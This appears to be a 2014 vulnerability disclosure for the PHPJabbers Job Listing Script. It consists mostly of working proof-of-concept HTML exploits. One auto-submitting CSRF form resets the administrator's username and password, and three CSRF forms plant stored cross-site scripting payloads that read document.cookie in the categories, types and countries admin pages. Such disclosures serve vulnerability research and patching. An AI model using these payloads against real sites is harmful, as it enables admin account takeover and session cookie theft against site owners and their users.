PHPJabbers Job Listing Script - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
PHPJabbers Job Listing Script - Multiple Vulnerabilities, CSRF and XS

                                                Job Listing Script - Multiple Vulnerabilties
====================================================================

####################################################################
.:. Author         : HackXBack
.:. Contact        : [email protected]
.:. Home           : http://www.iphobos.com/blog/
.:. Script         : http://www.phpjabbers.com/preview/job-listing-script/
####################################################################

===[ Exploit ]===

[1] Cross Site Request Forgery
==============================

[Change Username/Password Admin]

&#60;html&#62;
&#60;body onload=&#34;document.form0.submit();&#34;&#62;
&#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;
http://site/index.php?controller=AdminOptions&action=update&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;options_update&#34; value=&#34;1&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;username&#34; value=&#34;admin&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;password&#34; value=&#34;password&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;value-enum-9&#34; value=&#34;Yes|No::Yes&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;value-enum-8&#34; value=&#34;Yes|No::Yes&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;value-enum-7&#34;
value=&#34;d.m.Y|m.d.Y|Y.m.d|j.n.Y|n.j.Y|Y.n.j|d/m/Y|m/d/Y|Y/m/d|j/n/Y|n/j/Y|Y/n/j|d-m-Y|m-d-Y|Y-m-d|j-n-Y|n-j-Y|Y-n-j::d.m.Y&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;value-enum-6&#34; value=&#34;Yes|No::Yes&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;value-int-5&#34; value=&#34;5&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;value-string-4&#34; value=&#34;http://www.example.com&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;value-enum-3&#34; value=&#34;Yes|No::Yes&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;value-string-2&#34; value=&#34;[email protected]&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;value-int-1&#34; value=&#34;10&#34;/&#62;
&#60;/form&#62;

&#60;/body&#62;
&#60;/html&#62;

[2] Multiple Cross Site Scripting
==================================

# CSRF with XSS Exploit:

I. Xss In Categories

&#60;html&#62;
&#60;body onload=&#34;document.form0.submit();&#34;&#62;
&#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;
http://site/index.php?controller=AdminCategories&action=create&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;category_create&#34; value=&#34;Iphobos Blog&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;category_title&#34;
value=&#34;&#60;script&#62;alert(document.cookie);&#60;/script&#62;&#34;/&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;

II. Xss In Type

&#60;html&#62;
&#60;body onload=&#34;document.form0.submit();&#34;&#62;
&#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;
http://site/index.php?controller=AdminTypes&action=create&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;type_create&#34; value=&#34;Iphobos Blog&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;type_title&#34;
value=&#34;&#60;script&#62;alert(document.cookie);&#60;/script&#62;&#34;/&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;

III. Xss In Country

&#60;html&#62;
&#60;body onload=&#34;document.form0.submit();&#34;&#62;
&#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;
http://site/index.php?controller=AdminCountries&action=create&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;country_create&#34; value=&#34;Iphobos Blog&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;country_title&#34;
value=&#34;&#60;script&#62;alert(document.cookie);&#60;/script&#62;&#34;/&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;
####################################################################
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1